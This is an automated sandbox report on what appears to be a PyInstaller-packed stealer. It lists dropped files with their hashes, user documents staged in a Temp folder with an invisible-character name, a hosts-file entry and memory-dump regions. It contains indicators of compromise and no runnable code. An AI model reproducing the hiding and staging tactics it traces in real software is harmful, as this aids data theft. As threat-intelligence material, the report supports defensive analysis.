c6ff48e6edb727fca3971db306e617462a4d692cbbbe2693d447f072720ecee6

SHA512
af607633cbdebad127ad804b4c54957e74102d0f4fde2f3229e163fda7efd9bfb923e812d25cdac13332fd7f6584830be8cfaab4c84ccd78e5642a014e5a8b93

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-heap-l1-1-0.dll

Filesize
12KB

MD5
08f8e94021b233848dbc1624cb17bb7a

SHA1
8bde9c791550226a6e139d86279d22d12054437b

SHA256
7ecbc9b895ad5a70ccc45e85d3ee401ae0517b71040354351b63d00814d5428a

SHA512
c8ed343189f6f0fbf89b060ff62053bbd17540d4aa7358b355448c57f6d18f988673806c3e4d103c47a9b09cbaaf0829efc1c6d779f5b563e9ba326c5413b7f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-locale-l1-1-0.dll

Filesize
12KB

MD5
54a1ded1160d8e7a02307b63c191e42e

SHA1
be3de75c0fcc802d2cfcb759288313abcffd2eb9

SHA256
acc5c813e40e55c5c242057ab15f3d9049850d7345d8509f7044bc905dd3aa3a

SHA512
41a1ed1393857b38137ccc91c5519dbf2d054826515f321f2cbb86a21d7086ad5098fe6a2da9173f32b8d7fcc41a893c742da0fda99f8ba179254cd2097c59a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-math-l1-1-0.dll

Filesize
20KB

MD5
b3937ae7171b6b3d02166bfa9cd6ca9e

SHA1
949c7dffeb2a0957f741af5cade887d8fa0b89eb

SHA256
84b21fd1737b7d8953e22bd4df29cd933e3fc0a07d134598bf062f7ecf984aeb

SHA512
00efd098585546c25b4f8489673b8707e411feb1ca0936f4ffb9ffbfdf160218eef8e6870ea85cdb659c2fc243a473c28c7bd9b9d708163181bc9eb85ec416bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-runtime-l1-1-0.dll

Filesize
16KB

MD5
afd2d84fb1cdd0c03ee2888ce4fadafc

SHA1
c2ebe9ede75c0956f7d8431b0ea345672132a2d3

SHA256
26ce526a30ceb11aad52b71aa4f3ea65afe2fd6987ab517b7e86823687be6d2c

SHA512
dea9f4737881c4ce5591ebe9875e0981dc360df56505d8cd9204fb15c08fc84c1b634957540a22b11c222a11f1c99a2b401da50e55c8964c91262b186c030410

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-stdio-l1-1-0.dll

Filesize
17KB

MD5
2d7b04cd3e93f0c32bc999a8dd06ca31

SHA1
2046473bfd777c1780e2fe51c840ca59cdca8b8c

SHA256
b8a352807a073f0d676c862812eb768744130c1553970fe1a32eebff9b55ae28

SHA512
8a1c85504328f9f65a828d13f932bd6c7db45736029f123c4e624fb77fee8c7cee4404224ac915c2f3b0bcee0822be5295b1daaa290c269cc4008f4f31c2b862

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-string-l1-1-0.dll

Filesize
18KB

MD5
5c1eccf8f088c294e4ff4ada4e559567

SHA1
bb8fc158e23445bc0def4bcbd4f9a622b340bb6e

SHA256
f632698bba686c32d5de71d42ef2080d793b52c7a2ec409c8440d0aaa315e9ac

SHA512
02cb60e4b843c4622d410ecfe48285b983a1c750242a6e894ec6556fdc35c5076437f176e7d4dadf5bba819ce892b426f2717503c2a09b7dc1dc5ff6d3d830cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-time-l1-1-0.dll

Filesize
14KB

MD5
437b1f0308340db8c5d0d7f3c72706d7

SHA1
c341a5d909855e08ac56fbfc627c61e941f7f7e7

SHA256
77f3c912052578780f06d6f63cd3feec925f9c20c5f0218dac9e9c0950644614

SHA512
f622c662aa90d1f3c3a5cb316385b17dabe8ac201bba07d8da3b8df8d96fd298ed39b651b4eba1c116ad9c1c26b17a2dd32400b256dc30b5b3bcdb1d7d87fc89

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\api-ms-win-crt-utility-l1-1-0.dll

Filesize
12KB

MD5
6c82e6bdc1d0d0746803fadaa0c5fb7c

SHA1
88211eb2b86d17d343f4aee7b338882258de7e5f

SHA256
c41ec07b44ed1ca5b4e2a32e31d7d4ea8c31f419f9d6c5795c246d9dcee35a02

SHA512
864ecc4856f235957ea44d84a5a71acc1e48df1575a606dc0150a10efbf889fd312783c1c3e9466d715be2a09e0dd6197e48197cbd5b82cd7d9e57be10410995

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\base_library.zip

Filesize
1.4MB

MD5
2a138e2ee499d3ba2fc4afaef93b7caa

SHA1
508c733341845e94fce7c24b901fc683108df2a8

SHA256
130e506ead01b91b60d6d56072c468aeb5457dd0f2ecd6ce17dfcbb7d51a1f8c

SHA512
1f61a0fda5676e8ed8d10dfee78267f6d785f9c131f5caf2dd984e18ca9e5866b7658ab7edb2ffd74920a40ffea5cd55c0419f5e9ee57a043105e729e10d820b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\blank.aes

Filesize
126KB

MD5
6acb0ef2dcc339daf3d59c43be41f65f

SHA1
041f959d86a61b312644f117df60897c53557bd3

SHA256
dfc3e73eacc04d9c90430b1b5846535337a18a437b8e98a7e224f0e4dc6c4e0d

SHA512
111bc7b99c31fb3b18f40647505d53049db858429034d1f2d2f6f8867dce2fa474eeec28266d2f8792909a30fbe63859623ebe65a4361324fde574a1afab15ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libcrypto-1_1.dll

Filesize
1.1MB

MD5
daa2eed9dceafaef826557ff8a754204

SHA1
27d668af7015843104aa5c20ec6bbd30f673e901

SHA256
4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

SHA512
7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libffi-8.dll

Filesize
24KB

MD5
90a6b0264a81bb8436419517c9c232fa

SHA1
17b1047158287eb6471416c5df262b50d6fe1aed

SHA256
5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

SHA512
1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\libssl-1_1.dll

Filesize
203KB

MD5
eac369b3fde5c6e8955bd0b8e31d0830

SHA1
4bf77158c18fe3a290e44abd2ac1834675de66b4

SHA256
60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

SHA512
c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\python311.dll

Filesize
1.6MB

MD5
bb46b85029b543b70276ad8e4c238799

SHA1
123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

SHA256
72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

SHA512
5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\rar.exe

Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\rarreg.key

Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\select.pyd

Filesize
24KB

MD5
abf7864db4445bbbd491c8cff0410ae0

SHA1
4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

SHA256
ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

SHA512
8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\sqlite3.dll

Filesize
608KB

MD5
ddd0dd698865a11b0c5077f6dd44a9d7

SHA1
46cd75111d2654910f776052cc30b5e1fceb5aee

SHA256
a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

SHA512
b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\ucrtbase.dll

Filesize
1.3MB

MD5
e2c5004f2d7e8b3ed57baac7e590625f

SHA1
2b1225923a63cfdc53a696fcf369edf06b78f8ad

SHA256
6430f1611cebfaccf0c0c78428968bdb9b4a982c9112f42d3c2166fdec77f431

SHA512
fd2c60a4843940bed33ef87b6bc5aa646218c6d63d0ec300f11b37d3734946274d7ebca9ca23e012aeeeb079af6ac8af3580c3d7ec2653a0b9cb2a1feeebb2c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40082\unicodedata.pyd

Filesize
293KB

MD5
bb3fca6f17c9510b6fb42101fe802e3c

SHA1
cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

SHA256
5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

SHA512
05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhazu4c4.10j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍‌ ‍ ‏‎\Common Files\Desktop\CloseShow.docx

Filesize
14KB

MD5
1f1294232ce2df05924410176542c94d

SHA1
66a5e3ae01ae2d26d12b22529a96cf440dd2e035

SHA256
51491ce540414720b04704a15137b8bc9492d1b00e6ce8fe54cc406e1768309d

SHA512
5c96086044307f98f0c91032a9415e0785d799469199ce8ae83b98fba1fcf852db29525a2a35116344c7dfed815886b98d721f80215a604293275b1161eb68e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍‌ ‍ ‏‎\Common Files\Desktop\DisconnectSearch.pdf

Filesize
648KB

MD5
818efe1ff61279e48d33541f5fb5ebb9

SHA1
8f5d8eee8a789625701ad71d60341c00ab442b96

SHA256
0b5fa64b09f38f2b5bcf5585933f6796890a6d366f3c64b283d44fcd5e10a5e9

SHA512
3633cd65e17b62c43ba93cdae358a2d32df2166ef5b6dda08a2c7ea5b677bfcc5995b0cb4efa9588a8f670f9a89e1e72c1b7e82a1a13760bf86b94aa793a5675

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍‌ ‍ ‏‎\Common Files\Desktop\ReadCheckpoint.xlsx

Filesize
13KB

MD5
3b73026d166ad36ab6ba8bb2e9ae33ba

SHA1
0989702f04a4ae2caf60aa33f52a7d3833122eba

SHA256
2f28130b7c8ef9d55c7e49871d75afd2e8d8672cf7d41c3d895e628dace73b0e

SHA512
a2cb7986894a18d59397423dec7f9a507c373201cfd23f93d8d3a85e1dbf2ed2641a18fea1cfcd0bf50543504dcfdf64770e03a5376a82bed75f6cf6d6c9c033

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍‌ ‍ ‏‎\Common Files\Desktop\SetSplit.png

Filesize
264KB

MD5
166de620c7b39826c6d3e888e820dfd6

SHA1
b01a737eca9da283a917750aaba86d6b6dcd9607

SHA256
30c8ce3fe00875269af86d12740e336b9c26ba8ae1571c1ba412f58c98ea507f

SHA512
4327de1fcc2574d8c11262dc2ac670cc9f0cbea9d6633e7f7ae99def39a18986b7db20dbf8e995ad934eec34a0f08459a9ee57d3ffdfaf6601ef5b19a1521a6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‍‌ ‍ ‏‎\Common Files\Documents\ClearDisable.csv

Filesize
835KB

MD5
afd5bf82490c1574aa0641fe4107bcc4

SHA1
933a76cd84a7118535c78c96154d930472d2085b

SHA256
387809564e01d7647ce31962c097f1e65e58bb17b8b9e1a8cb50535de886ee69

SHA512
6e201347d59f1bf64355bcbe6a18d02a053a9a4bd2dd9ff60aaff703dcf3cd32e6095189288c160ea482839bcdb73ce02bf8b18f3a3ec5a90886cfac5d3b4e28

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
memory/1136-101-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp

Filesize
180KB

Download
memory/1136-373-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp

Filesize
184KB

Download
memory/1136-104-0x00007FFC7F750000-0x00007FFC7F86C000-memory.dmp

Filesize
1.1MB

Download
memory/1136-102-0x00007FFC8F6C0000-0x00007FFC8F6CD000-memory.dmp

Filesize
52KB

Download
memory/1136-97-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp

Filesize
144KB

Download
memory/1136-99-0x00007FFC8F6D0000-0x00007FFC8F6E4000-memory.dmp

Filesize
80KB

Download
memory/1136-94-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp

Filesize
736KB

Download
memory/1136-361-0x00007FFC8F6D0000-0x00007FFC8F6E4000-memory.dmp

Filesize
80KB

Download
memory/1136-105-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp

Filesize
140KB

Download
memory/1136-95-0x000001FC12260000-0x000001FC125D5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-362-0x00007FFC8F6C0000-0x00007FFC8F6CD000-memory.dmp

Filesize
52KB

Download
memory/1136-363-0x00007FFC7F750000-0x00007FFC7F86C000-memory.dmp

Filesize
1.1MB

Download
memory/1136-119-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp

Filesize
1.4MB

Download
memory/1136-364-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-365-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp

Filesize
144KB

Download
memory/1136-93-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp

Filesize
5.9MB

Download
memory/1136-89-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp

Filesize
184KB

Download
memory/1136-135-0x00007FFC95680000-0x00007FFC95699000-memory.dmp

Filesize
100KB

Download
memory/1136-148-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp

Filesize
184KB

Download
memory/1136-214-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp

Filesize
736KB

Download
memory/1136-215-0x000001FC12260000-0x000001FC125D5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-87-0x00007FFC8F720000-0x00007FFC8F72D000-memory.dmp

Filesize
52KB

Download
memory/1136-366-0x00007FFC98DE0000-0x00007FFC98DEF000-memory.dmp

Filesize
60KB

Download
memory/1136-85-0x00007FFC95680000-0x00007FFC95699000-memory.dmp

Filesize
100KB

Download
memory/1136-83-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp

Filesize
1.4MB

Download
memory/1136-263-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-81-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp

Filesize
140KB

Download
memory/1136-289-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp

Filesize
5.9MB

Download
memory/1136-298-0x00007FFC8F6F0000-0x00007FFC8F71E000-memory.dmp

Filesize
184KB

Download
memory/1136-295-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp

Filesize
1.4MB

Download
memory/1136-290-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp

Filesize
144KB

Download
memory/1136-79-0x00007FFC8E820000-0x00007FFC8E839000-memory.dmp

Filesize
100KB

Download
memory/1136-77-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp

Filesize
180KB

Download
memory/1136-45-0x00007FFC98DE0000-0x00007FFC98DEF000-memory.dmp

Filesize
60KB

Download
memory/1136-42-0x00007FFC93290000-0x00007FFC932B4000-memory.dmp

Filesize
144KB

Download
memory/1136-38-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp

Filesize
5.9MB

Download
memory/1136-334-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp

Filesize
5.9MB

Download
memory/1136-349-0x00007FFC802D0000-0x00007FFC808B8000-memory.dmp

Filesize
5.9MB

Download
memory/1136-375-0x000001FC12260000-0x000001FC125D5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-374-0x00007FFC8A330000-0x00007FFC8A3E8000-memory.dmp

Filesize
736KB

Download
memory/1136-96-0x00007FFC7F870000-0x00007FFC7FBE5000-memory.dmp

Filesize
3.5MB

Download
memory/1136-372-0x00007FFC8F720000-0x00007FFC8F72D000-memory.dmp

Filesize
52KB

Download
memory/1136-371-0x00007FFC95680000-0x00007FFC95699000-memory.dmp

Filesize
100KB

Download
memory/1136-370-0x00007FFC80150000-0x00007FFC802C3000-memory.dmp

Filesize
1.4MB

Download
memory/1136-369-0x00007FFC8A9C0000-0x00007FFC8A9E3000-memory.dmp

Filesize
140KB

Download
memory/1136-368-0x00007FFC8E820000-0x00007FFC8E839000-memory.dmp

Filesize
100KB

Download
memory/1136-367-0x00007FFC8ADA0000-0x00007FFC8ADCD000-memory.dmp

Filesize
180KB

Download
memory/3860-131-0x00007FFC7EBD0000-0x00007FFC7F691000-memory.dmp

Filesize
10.8MB

Download
memory/3860-118-0x00007FFC7EBD0000-0x00007FFC7F691000-memory.dmp

Filesize
10.8MB

Download
memory/3860-117-0x000001B80B7C0000-0x000001B80B7E2000-memory.dmp

Filesize
136KB

Download
memory/3860-116-0x00007FFC7EBD0000-0x00007FFC7F691000-memory.dmp

Filesize
10.8MB

Download
memory/3860-106-0x00007FFC7EBD3000-0x00007FFC7EBD5000-memory.dmp

Filesize
8KB

Download
memory/5080-219-0x0000026C4EED0000-0x0000026C4EED8000-memory.dmp

Filesize
32KB

Download